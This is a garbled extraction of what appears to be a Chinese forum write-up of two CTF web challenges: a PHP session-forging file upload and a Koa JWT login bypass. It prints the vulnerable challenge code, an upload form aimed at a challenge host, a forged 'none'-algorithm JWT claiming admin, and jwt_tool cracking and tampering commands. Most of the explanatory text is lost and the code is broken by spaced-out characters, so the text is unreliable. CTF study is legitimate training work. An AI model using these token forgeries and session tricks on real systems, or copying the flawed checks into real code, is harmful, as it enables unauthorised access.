[19603] 2020-04-30_2020数字中国创新大赛-虎符网络安全赛道丨WebWriteup

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-04-30_2020数字中国创新大赛-虎符网络安全赛道丨WebWriteup 2 0 2 0 - W e b   W r i t e u p i   2 0 2 0 - 0 4 - 3 0 i 线     i ~ i O P L V 1 H 2 0 2 0 - 线 W e b W r i t e u p 1 h a s h _ f i l e     使 2 j w t j w t _ t o o l s 使 3 n o d e j s G e t s h e l l     W e b   1   B a b y U p l o a d < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; s e s s i o n _ s a v e _ p a t h ( " / v a r / b a b y c t f / " ) ; s e s s i o n _ s t a r t ( ) ; r e q u i r e _ o n c e   " / f l a g " ; h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; i f ( $ _ S E S S I O N [ ' u s e r n a m e ' ]   = = = ' a d m i n ' )
{ $ f i l e n a m e = ' / v a r / b a b y c t f / s u c c e s s . t x t ' ; i f ( f i l e _ e x i s t s ( $ f i l e n a m e ) ) {                 s a f e _ d e l e t e ( $ f i l e n a m e ) ;                 d i e ( $ f l a g ) ; } } e l s e { $ _ S E S S I O N [ ' u s e r n a m e ' ]   = ' g u e s t ' ; } $ d i r e c t i o n   =   f i l t e r _ i n p u t ( I N P U T _ P O S T ,   ' d i r e c t i o n ' ) ; $ a t t r   =   f i l t e r _ i n p u t ( I N P U T _ P O S T ,   ' a t t r ' ) ; $ d i r _ p a t h   =   " / v a r / b a b y c t f / " . $ a t t r ; i f ( $ a t t r = = = " p r i v a t e " ) { $ d i r _ p a t h   . =   " / " . $ _ S E S S I O N [ ' u s e r n a m e ' ] ; } i f ( $ d i r e c t i o n   = = =   " u p l o a d " ) { t r y {         i f ( ! i s _ u p l o a d e d _ f i l e ( $ _ F I L E S [ ' u p _ f i l e ' ] [ ' t m p _ n a m e ' ] ) ) {                 t h r o w   n e w   R u n t i m e E x c e p t i o n ( ' i n v a l i d   u p l o a d ' ) ;         }         $ f i l e _ p a t h   =   $ d i r _ p a t h . " / " . $ _ F I L E S [ ' u p _ f i l e ' ] [ ' n a m e ' ] ;         $ f i l e _ p a t h   . =   " _ " . h a s h _ f i l e ( " s h a 2 5 6 " , $ _ F I L E S [ ' u p _ f i l e ' ] [ ' t m p _ n a m e ' ] ) ;         i f ( p r e g _ m a t c h ( ' / ( . . / | . . ) / ' ,   $ f i l e _ p a t h ) ) {                 t h r o w   n e w   R u n t i m e E x c e p t i o n ( ' i n v a l i d   f i l e   p a t h ' ) ;         }         @ m k d i r ( $ d i r _ p a t h ,   0 7 0 0 ,   T R U E ) ;         i f ( m o v e _ u p l o a d e d _ f i l e ( $ _ F I L E S [ ' u p _ f i l e ' ] [ ' t m p _ n a m e ' ] , $ f i l e _ p a t h ) ) {                 $ u p l o a d _ r e s u l t   =   " u p l o a d e d " ;         } e l s e {                 t h r o w   n e w   R u n t i m e E x c e p t i o n ( ' e r r o r   w h i l e   s a v i n g ' ) ;         } }   c a t c h   ( R u n t i m e E x c e p t i o n   $ e )   {         $ u p l o a d _ r e s u l t   =   $ e - > g e t M e s s a g e ( ) ; } }   e l s e i f   ( $ d i r e c t i o n   = = =   " d o w n l o a d " )   { t r y {         $ f i l e n a m e   =   b a s e n a m e ( f i l t e r _ i n p u t ( I N P U T _ P O S T ,   ' f i l e n a m e ' ) ) ;         $ f i l e _ p a t h   =   $ d i r _ p a t h . " / " . $ f i l e n a m e ;         i f ( p r e g _ m a t c h ( ' / ( . . / | . . ) / ' ,   $ f i l e _ p a t h ) ) {                 t h r o w   n e w   R u n t i m e E x c e p t i o n ( ' i n v a l i d   f i l e   p a t h ' ) ;         }         i f ( ! f i l e _ e x i s t s ( $ f i l e _ p a t h ) )   {                 t h r o w   n e w   R u n t i m e E x c e p t i o n ( ' f i l e   n o t   e x i s t ' ) ;         }         h e a d e r ( ' C o n t e n t - T y p e :   a p p l i c a t i o n / f o r c e - d o w n l o a d ' ) ;         h e a d e r ( ' C o n t e n t - L e n g t h :   ' . f i l e s i z e ( $ f i l e _ p a t h ) ) ;
s e s s i o n / v a r / b a b y c t f / s e s s i o n [ ' u s e r n a m e ' ] = = = ' a d m i n ' f i l e _ e x i s t s ( ' / v a r / b a b y c t f / s u c c e s s . t x t ' ) f l a g f i l e _ e x i s t f i l e _ e x i s t s (   )   t r u e f a l s e s e s s i o n s e s s _ X X X X X ( P H P S E S S I D ) d o w n l o a d s e s s i o n s e s s i o n P H P S E S S I D s e s s i o n         h e a d e r ( ' C o n t e n t - D i s p o s i t i o n :   a t t a c h m e n t ;   f i l e n a m e = " ' . s u b s t r ( $ f i l e n a m e ,   0 ,   - 6 5 ) . ' " ' ) ;         i f ( r e a d f i l e ( $ f i l e _ p a t h ) ) {                 $ d o w n l o a d _ r e s u l t   =   " d o w n l o a d e d " ;         } e l s e {                 t h r o w   n e w   R u n t i m e E x c e p t i o n ( ' e r r o r   w h i l e   s a v i n g ' ) ;         } }   c a t c h   ( R u n ! [ ] ( h t t p s : / / x z f i l e . a l i y u n c s . c o m / m e d i a / u p l o a d / p i c t u r e / 2 0 2 0 0 4 2 2 2 2 4 4 5 6 - d 5 c c d e f 2 - 8 4 a 7 - 1 . p n g ) t i m e E x c e p t i o n   $ e )   {         $ d o w n l o a d _ r e s u l t   =   $ e - > g e t M e s s a g e ( ) ; } e x i t ; } ? >   $ f i l e _ p a t h   =   $ d i r _ p a t h . " / " . $ _ F I L E S [ ' u p _ f i l e ' ] [ ' n a m e ' ] ;   $ f i l e _ p a t h   . =   " _ " . h a s h _ f i l e ( " s h a 2 5 6 " , $ _ F I L E S [ ' u p _ f i l e ' ] [ ' t m p _ n a m e ' ] ) ;
s e s s i o n h e x 0 x 0 8 0 x 0 8 s e s s i o n [ ' u s e r n a m e ' ] = = = a d m i n s e s s i o n P H P S S E I D / v a r / b a b y c t f / f i l e n a m e _ x x x x x x ( ) f i l e n a m e s e s s s e s s i o n x x x x x P H P S E S S I D d i e f l a g s e s s s e s s g u e s t a d m i n w i n h e x 0 x 0 8 d i r e c t i o n u p l a o d a t t r s e s s < h t m l > < h e a d >         < t i t l e > < / t i t l e > < / h e a d > < b o d y >         < f o r m   a c t i o n = " h t t p : / / 2 7 0 9 5 7 6 a - 4 4 8 b - 4 1 c 9 - 8 4 b c - b 5 9 3 9 c 9 0 4 a b 9 . n o d e 3 . b u u o j . c n "   m e t h o d = " p o s t "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a " >                 < i n p u t   t y p e = " t e x t "   n a m e = " a t t r "   / >                 < b r >                 < i n p u t   t y p e = " t e x t "   n a m e = " d i r e c t i o n "   / >                 < b r >                 < i n p u t   t y p e = " f i l e "   n a m e = " u p l o a d _ f i l e "   / >                 < b r >                 < i n p u t   t y p e = " s u b m i t "   / > < / b o d y > < / h t m l >
d o w n l o a d s e s s _ x x x x h a s h _ f i l e ( P H P S E S S I D ) P H P S E S S I D f l a g W e b   2   E a s y L o g i n F 1 2 / s t a t i c / j s / a p p . j s
r e s t . j s c o n t r o l l e r . j s / c o n t r o l l e r s / a p i . j s , c o n s t   K o a   =   r e q u i r e ( ' k o a ' ) ; c o n s t   b o d y P a r s e r   =   r e q u i r e ( ' k o a - b o d y p a r s e r ' ) ; c o n s t   s e s s i o n   =   r e q u i r e ( ' k o a - s e s s i o n ' ) ; c o n s t   s t a t i c   =   r e q u i r e ( ' k o a - s t a t i c ' ) ; c o n s t   v i e w s   =   r e q u i r e ( ' k o a - v i e w s ' ) ; c o n s t   c r y p t o   =   r e q u i r e ( ' c r y p t o ' ) ; c o n s t   {   r e s o l v e   }   =   r e q u i r e ( ' p a t h ' ) ; c o n s t   r e s t   =   r e q u i r e ( ' . / r e s t ' ) ; c o n s t   c o n t r o l l e r   =   r e q u i r e ( ' . / c o n t r o l l e r ' ) ; c o n s t   P O R T   =   3 0 0 0 ; c o n s t   a p p   =   n e w   K o a ( ) ; a p p . k e y s   =   [ c r y p t o . r a n d o m B y t e s ( 1 6 ) . t o S t r i n g ( ' h e x ' ) ] ; g l o b a l . s e c r e t s   =   [ ] ; a p p . u s e ( s t a t i c ( r e s o l v e ( _ _ d i r n a m e ,   ' . ' ) ) ) ; a p p . u s e ( v i e w s ( r e s o l v e ( _ _ d i r n a m e ,   ' . / v i e w s ' ) ,   {     e x t e n s i o n :   ' p u g ' } ) ) ; a p p . u s e ( s e s s i o n ( { k e y :   ' s s e s : a o k ' ,   m a x A g e :   8 6 4 0 0 0 0 0 } ,   a p p ) ) ; / /   p a r s e   r e q u e s t   b o d y : a p p . u s e ( b o d y P a r s e r ( ) ) ; / /   p r e p a r e   r e s t f u l   s e r v i c e a p p . u s e ( r e s t . r e s t i f y ( ) ) ; / /   a d d   c o n t r o l l e r s : a p p . u s e ( c o n t r o l l e r ( ) ) ; a p p . l i s t e n ( P O R T ) ; c o n s o l e . l o g ( ` a p p   s t a r t e d   a t   p o r t   $ { P O R T } . . . ` ) ; c o n s t   c r y p t o   =   r e q u i r e ( ' c r y p t o ' ) ; c o n s t   f s   =   r e q u i r e ( ' f s ' ) c o n s t   j w t   =   r e q u i r e ( ' j s o n w e b t o k e n ' ) c o n s t   A P I E r r o r   =   r e q u i r e ( ' . . / r e s t ' ) . A P I E r r o r ; m o d u l e . e x p o r t s   =   {
        ' P O S T   / a p i / r e g i s t e r ' :   a s y n c   ( c t x ,   n e x t )   = >   {                 c o n s t   { u s e r n a m e ,   p a s s w o r d }   =   c t x . r e q u e s t . b o d y ;                 i f ( ! u s e r n a m e   | |   u s e r n a m e   = = =   ' a d m i n ' ) {                         t h r o w   n e w   A P I E r r o r ( ' r e g i s t e r   e r r o r ' ,   ' w r o n g   u s e r n a m e ' ) ;                 }                 i f ( g l o b a l . s e c r e t s . l e n g t h   >   1 0 0 0 0 0 )   {                         g l o b a l . s e c r e t s   =   [ ] ;                 }                 c o n s t   s e c r e t   =   c r y p t o . r a n d o m B y t e s ( 1 8 ) . t o S t r i n g ( ' h e x ' ) ;                 c o n s t   s e c r e t i d   =   g l o b a l . s e c r e t s . l e n g t h ;                 g l o b a l . s e c r e t s . p u s h ( s e c r e t )                 c o n s t   t o k e n   =   j w t . s i g n ( { s e c r e t i d ,   u s e r n a m e ,   p a s s w o r d } ,   s e c r e t ,   { a l g o r i t h m :   ' H S 2 5 6 ' } ) ;                 c t x . r e s t ( {                         t o k e n :   t o k e n                 } ) ;                 a w a i t   n e x t ( ) ;         } ,         ' P O S T   / a p i / l o g i n ' :   a s y n c   ( c t x ,   n e x t )   = >   {                 c o n s t   { u s e r n a m e ,   p a s s w o r d }   =   c t x . r e q u e s t . b o d y ;                 i f ( ! u s e r n a m e   | |   ! p a s s w o r d )   {                         t h r o w   n e w   A P I E r r o r ( ' l o g i n   e r r o r ' ,   ' u s e r n a m e   o r   p a s s w o r d   i s   n e c e s s a r y ' ) ;                 }                 c o n s t   t o k e n   =   c t x . h e a d e r . a u t h o r i z a t i o n   | |   c t x . r e q u e s t . b o d y . a u t h o r i z a t i o n   | |   c t x . r e q u e s t . q u e r y . a u t h o r i z a t i o n ;                 c o n s t   s i d   =   J S O N . p a r s e ( B u f f e r . f r o m ( t o k e n . s p l i t ( ' . ' ) [ 1 ] ,   ' b a s e 6 4 ' ) . t o S t r i n g ( ) ) . s e c r e t i d ;                 c o n s o l e . l o g ( s i d )                 i f ( s i d   = = =   u n d e f i n e d   | |   s i d   = = =   n u l l   | |   ! ( s i d   <   g l o b a l . s e c r e t s . l e n g t h   & &   s i d   > =   0 ) )   {                         t h r o w   n e w   A P I E r r o r ( ' l o g i n   e r r o r ' ,   ' n o   s u c h   s e c r e t   i d ' ) ;                 }                 c o n s t   s e c r e t   =   g l o b a l . s e c r e t s [ s i d ] ;                 c o n s t   u s e r   =   j w t . v e r i f y ( t o k e n ,   s e c r e t ,   { a l g o r i t h m :   ' H S 2 5 6 ' } ) ;                 c o n s t   s t a t u s   =   u s e r n a m e   = = =   u s e r . u s e r n a m e   & &   p a s s w o r d   = = =   u s e r . p a s s w o r d ;
j w t J S O N   W e b . H e a d e r P a y l o a d ( S i g n a t u r e ) J W T x x x x x . y y y y y . z z z z z ( H e a d e r ) J W T J W T 使 J S O N B a s e 6 4 U r l J W T P a y l o a d                 i f ( s t a t u s )   {                         c t x . s e s s i o n . u s e r n a m e   =   u s e r n a m e ;                 }                 c t x . r e s t ( {                         s t a t u s                 } ) ;                 a w a i t   n e x t ( ) ;         } ,         ' G E T   / a p i / f l a g ' :   a s y n c   ( c t x ,   n e x t )   = >   {                 i f ( c t x . s e s s i o n . u s e r n a m e   ! = =   ' a d m i n ' ) {                         t h r o w   n e w   A P I E r r o r ( ' p e r m i s s i o n   e r r o r ' ,   ' p e r m i s s i o n   d e n i e d ' ) ;                 }                 c o n s t   f l a g   =   f s . r e a d F i l e S y n c ( ' / f l a g ' ) . t o S t r i n g ( ) ;                 c t x . r e s t ( {                         f l a g                 } ) ;                 a w a i t   n e x t ( ) ;         } , { " a l g " :   " H S 2 5 6 " , " t y p " :   " J W T " }
  t o k e n     t o k e n B a s e 6 4 U r l J S O N   W e b ( S i g n a t u r e ) 使 H M A C   S H A 2 5 6 使 J W T c o n s t   s e c r e t   =   g l o b a l . s e c r e t s [ s i d ] s e c r e t J W T h e a d e r a l g n o n e J W T n o n e a l g n o n e s i d s i d 0 . 1 使 s e c r e t n u l l 使 j w t _ t o o l s j w t   t o k e n 1 n o n e 2 R S 2 5 6 H S 2 5 6 = > H S 2 5 6 使 R S 2 5 6 使 使 R S 2 5 6 H S 2 5 6 使 使 H S 2 5 6 H S 2 5 6 使 R S A 3 H S 2 5 6 j w t - t o o l s { " s u b " :   " 1 2 3 4 5 6 7 8 9 0 " , " n a m e " :   " J o h n   D o e " , " a d m i n " :   t r u e } H M A C S H A 2 5 6 ( b a s e 6 4 U r l E n c o d e ( h e a d e r )   +   " . "   + b a s e 6 4 U r l E n c o d e ( p a y l o a d ) , s e c r e t )
H M A C 使 j w t   t o k e n : e y J h b G c i O i J u b 2 5 l I i w i d H l w I j o i S l d U I n 0 . e y J z Z W N y Z X R p Z C I 6 I j A u M i I s I n V z Z X J u Y W 1 l I j o i Y W R t a W 4 i L C J w Y X N z d 2 9 y Z C I 6 I j E y M y I s I m l h d C I 6 M T U 4 N z U 2 M D Y 0 N n 0   p y t h o n 3   j w t _ t o o l . p y   J W T _ H E R E   - C   - d   d i c t i o n a r y . t x t p y t h o n 3   j w t _ t o o l . p y   J W T _ H E R E   - A $ p y t h o n 3   j w t _ t o o l . p y   J W T _ H E R E ( j w t   t o k e n )   - T
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则